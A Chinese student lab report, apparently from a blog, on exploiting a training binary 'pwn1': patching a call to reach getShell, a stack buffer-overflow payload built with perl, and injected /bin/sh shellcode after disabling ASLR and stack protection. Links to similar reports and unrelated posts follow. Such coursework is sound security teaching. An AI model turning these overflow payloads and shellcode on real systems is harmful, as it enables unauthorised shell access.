实验目标:

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。

本次实践的目标就是通过学习用两种方法运行这个代码片段。然后学习如何注入并允许任何shellcode。

实验内容:

1)手工修改可执行文件,改变程序执行流程,直接跳转到getshell。

2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getshell函数

3)注入一个自己制作的shellcode并运行这段shellcode。


 一、需要掌握的

1.NOP, JNE, JE, JMP, CMP汇编指令的机器码

查阅资料可知:

NOP指令:“no operation”。执行到NOP指令时,cpu仅仅继续执行NOP后面的一条指令。

JNE指令:“Jump Not Equal”,如果不相等则跳转。

JE指令:条件转移指令,如果相等则跳转。

JMP指令:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出。

CMP指令:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2.反汇编和16进制编辑器

反汇编指令

objdump

利用指令:man objdump可以了解相关参数极其含义,如图:

十六进制编程器相关指令:

:%!xxd

:%!xxd 指的是在vi编辑器中显示的文件在输入该指令后会以十六进制的形式显示。

:%!xxd -r 指的是将上述转化为十六进制的信息再转换会二进制。


实验一:手动修改机器指令

1.使用objdump -d 20164311对20164311进行反汇编

可以看到,程序在80484b5这个位置调用了foo函数。

机器指令中e8对应跳转 可以在其他函数中相同指令call位置中,对应找到机器指令的开头都为e8。

机器执行下一条指令的地址都保存在eip寄存器中,如果没有调用函数那么eip寄存器中的值应该为下一条指令的地址,如果调用了函数则eip寄存器中的值应该修改:(为下一条指令的地址+e8之后的值)。

所以根据上述条件,我们可以用16进制计算器去验证。

即:eip + d7ffffff =  80484ba-0x29 = 8048491

已知 getShell 函数位于 804847d。

即:d7fffff 应该被修改的值=0x7d - 0xba = -0x3d = 0xc3(补码转换)

然后利用 vi 编辑器 使用命令:%!xxd 以利于观看的十六进制显示方式,再用/e8 d7命令找到所在位置,修改文件20164311内的值。

再次反汇编查看更改是否正确

确认正确后并运行。


实验二:通过构造输入参数,造成BOF攻击,改变程序的执行流

使用指令:

objdump -d  | more 

观察foo函数可以看到:存在一段功能为读入和输出的语句。

但实际上,foo函数只给这段字符串预留了一个28字节的缓冲区(即0x1c),也就是说存在所谓的 Buffer overflow 漏洞。

根据上课所讲:堆栈中程序执行的方向上,被调用函数所分配的空间后面应当是,之前edp寄存器中的值,即是一个地址。

从左侧可以观察到,地址是4个字节 故我们有理由推测:为了修改返回地址,我们应当把想要修改的地址放在一个字符串中的第33个字节到36个字节的位置。

而33字节之前的字节可以填充任意的字符。

为此我们需要通过调试确认一下推理是否正确,以及:所确定四字节地址在输入时的摆放顺序。

当然作为攻击者的我们在实际攻击中并不可能通过反汇编来确认要攻击机器的地址位数,我们只知道缓冲区只有28字节,存在漏洞。

所以我们要先确定机器的地址位数。

然后确认我们输入的顺序

由此可以看出,发生了段错误,并且33到36字节被某些字符覆盖。

当然,对于攻击者,我们必须输入某些长度的字符去猜测被攻击机的地址长度,由于地址长度是极其有限的几个数的任意一个,故做到这一点并不麻烦。

根据我们输入字符的顺序是1234 而被覆盖的地址的顺序是4321。

故为使返回地址指向 0804847d 处的 getShell 函数,需要构造字符串:11111111222222223333333344444444\x7d\x84\x04\x08。

又由于我们没法用键盘输入这样的16进制 所以我们使用以下指令:

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 164311

生成一个包含这些16进制内容的文件

验证以下内容是否正确:

然后利用管道 | 将上一条指令的输出 作为下一条指令的输入


实验三:注入shellcode并执行

此实验中,我们使用老师已经为我们准备好的shellcode。

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

首先,修改相关配置

root@:~# execstack -s                 //设置堆栈可执行
root@:~# execstack -q                 //查询文件的堆栈是否可执行
X 201664311
root@:~# more /proc/sys/kernel/randomize_va_space root@:~# echo "" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@:~# more /proc/sys/kernel/randomize_va_space root@:~#

注入一段代码,我们使用以下指令构造一个input_shellcode

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 164311

在该窗口运行指令

(cat ;cat) | ./

打开一个新的窗口,输入指令查询当前运行的20164311的进程号

ps -ef | grep 

使用以下指令进行调试

attach 

disassemble foo

break *0x080484ae

c

查看esp寄存器的地址

info r esp

以16进制形式查看0xffffd37c地址后面16字节的内容

x/16x 0xffffd37c

从上图可知,要注入的shellcode代码应该在ret指令地址后四个字节的位置,即0xffffd37c + 0x00000004 = 0xffffd380,然后退出gdb

修改注入代码

perl -e 'print "A" x 32;print"\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' >

输入命令

(cat ;cat) | ./


遇到的问题及解决方法

问题:当时在做第二个小实验进行调试的时候,输入字符串出现了异常的显示

解决办法:做实验一定要备份。因为首先网络攻防的命令较长,我们不能保证每次都输入的是对的,仅仅在vi编辑器内,没有将十六进制的文件转换会二进制就会发生文件损坏,由此可见备份文件是多么重要,然而基于这个问题,也是省略了备份文件步骤而造成的错误,直接在源文件内进行修改,所以造成完成实验一后无法正常完成实验二。


实验收获和感想

收获:每次做这个实验的时候,我都会想起老师第一节课说:一台电脑放在这里,你是否知道他在干什么。这个实验让我从更加底层的角度理解了漏洞可以如何被利用,再次之前,我还记得我在学c语言的时候,常常不会去考虑越界错误,也常常不想去做边界测试,但这次试验之后,我明白了任何一个程序都可能有漏洞,我们一定要通过学习网络攻防了解如何发现漏洞,以及利用堆栈结构造成溢出,修改返回地址的底层原理,这样才能做到更好的防患于未然。

什么是漏洞?漏洞的危害

我认为漏洞就是在编程的时候,由于程序中的数据结构存在一定的限制,或出于偶然或出于必然,从而导致计算机可以被攻击的一个缺陷

而漏洞的危害自然是会导致自己的计算机被攻击,影响正常的使用以及造成数据的泄露。

Exp1 PC平台逆向破解 20164311的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 2018-2019-2 20165237《网络攻防技术》Exp1 PC平台逆向破解

    2018-2019-2 20165237<网络攻防技术>Exp1 PC平台逆向破解 一.实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调 ...

  3. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  4. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  5. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  6. Exp1 PC平台逆向破解 20165235 祁瑛

    Exp1 PC平台逆向破解 20165235 祁瑛 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字 ...

  7. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  8. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  9. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

随机推荐

  1. MVC中调用模态框之后导致JS失效

    今天在工作中碰到一个页面调用模态框之后,页面原来的JS失效的问题,由于前台经验较少,折腾了一天... 问题描述是这样,在页面,有两个下拉列表框A和B,做了下拉列表框联动,有一个button按钮会调用模 ...

  2. post表单翻页保存搜索条件

    问题:搜索条件下的数据,进行翻页行为后,搜索条件丢失 1.搜索表单 2.翻页 解决:既然点击页面跳转的a标签使用的方法是GET,而点击“搜索”按钮使用的方法是POST,那么可以让点击a标签实际上就是提 ...

  3. HashMap源码解析(简单易懂)

    /* 每一个key-value存储在Node<K,V>中,HashMap由Node<K,V>[]数 组组成. */ static class Node<K,V> i ...

  4. SQL group_concat find_in_set 的使用

    SELECT p.id as pid,p.code as code,p.topic_name topic_name,p.vm_id as vm_id,GROUP_CONCAT(iso.iso_name ...

  5. pychrom 快捷键

    1.pycharm使多行代码同时缩进 鼠标选中多行代码后,按下Tab键,一次缩进四个字符 2.pycharm使多行代码同时左移 鼠标选中多行代码后,同时按住shift+Tab键,一次左移四个字符 1. ...

  6. 二进制中的个数(JAVA)

    二进制中的1的个数 题目描述 输入一个整数,输出该数二进制表示中1的个数.其中负数用补码表示. 思路:用位运算来进行移1操作.(首先得知道数在计算机中都是以01来放置的) 1,若由一个数11100,当 ...

  7. Filebeat工作过程(二)

    Filebeat简介 Filebeat是一个轻量级的收集日志和传输日志的工具(一直以为Filebeat是存储数据,并不是的它只是做一个收集传输功能):Filebeat安装在每一个你想要收集日志的服务器 ...

  8. 18.17 U-Boot+内核移植

    18.17.1 移植U-Boot-2012.04.08 1.下载.建立source insight工程.编译.烧写.如果无运行分析原因. $ .tar.bz2 $ cd u-boot- $ make ...

  9. 【代码问题】MatConvNet+VS2017编译找不到cl.exe错误

    用vl_compilenn做普通的CPU编译报错: 'cl.exe' 不是内部或外部命令,也不是可运行的程序 或批处理文件. 错误使用 vl_compilenn>check_clpath (li ...

  10. Python中安装MySQL

    Windows 下Python3.6安装 mysql_python 存在各种不成功,切换到 SQLAlchemy也不行需要安装MySQL_python.需要安装mysqlclient. 执行 pip ...